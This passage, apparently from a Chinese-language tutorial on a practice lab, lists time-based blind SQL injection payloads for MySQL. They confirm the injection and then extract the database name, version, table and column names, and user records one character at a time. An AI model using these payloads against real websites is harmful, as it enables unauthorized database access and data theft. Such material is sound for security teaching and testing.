?id=1' and sleep(5) --+ 进行注入尝试,如果页面休眠5秒后返回,则证明该注入方式是可以使用的,sql语句已生效
?username=admin' and if(1=2,1,sleep(10))#
二、判断数据库名
?id=1' and if((select length(database())>7)>0,sleep(5),null) --+ 判断数据库长度是否大于7
?id=1' and if((select ascii(substr(database(),1,1))>97)>0,sleep(5),null) --+ 判断数据库名的第一个字符ascii是否大于97
?id=1' and if((select database())="security",sleep(5),null) --+ 判断数据库名是否为security,如果是则休眠5秒,否则立即返回
三、判断版本号
?id=1' and if((select version()) like "10%",sleep(5),null) --+ 判断版本号是否为10开头的(一般用5),如果是则休眠5秒
四、判断表名
?id=1' and if ((select length(table_name)>4 from information_schema.tables limit 2,1)>0,sleep(5),null); --+ 判断第三个表的表名长度是否大于4
?id=1' and if ((select substr(table_name,1,1) from information_schema.tables limit 2,1)='u',sleep(5),null); --+ 判断第三个表的表名的第一个字母是否为u
五、判断列名
?id=1' and if ((select length(column_name)>1 from information_schema.columns where table_schema=database() and table_name="users" limit 0,1)>0,sleep(5),null); --+ 判断users表的第一列名的长度是否大于1
?id=1' and if((select ascii(substr(column_name,1,1))>97 from information_schema.columns where table_schema=database() and table_name="users" limit 0,1)>0,sleep(3),null)--+ 判断users表的第一列名的第一个字符ascii是否大于97
六、得到数据
?id=1' and if((select length(username)>1 from users limit 0,1)>0,sleep(3),null)--+ 判断username列的第一条数据的长度是否大于1
?id=1' and if((select ascii(substr(username,1,1))>65 from users limit 0,1)>0,sleep(3),null)--+ 判断username的第一条数据的第一个字符的ascii是否大于65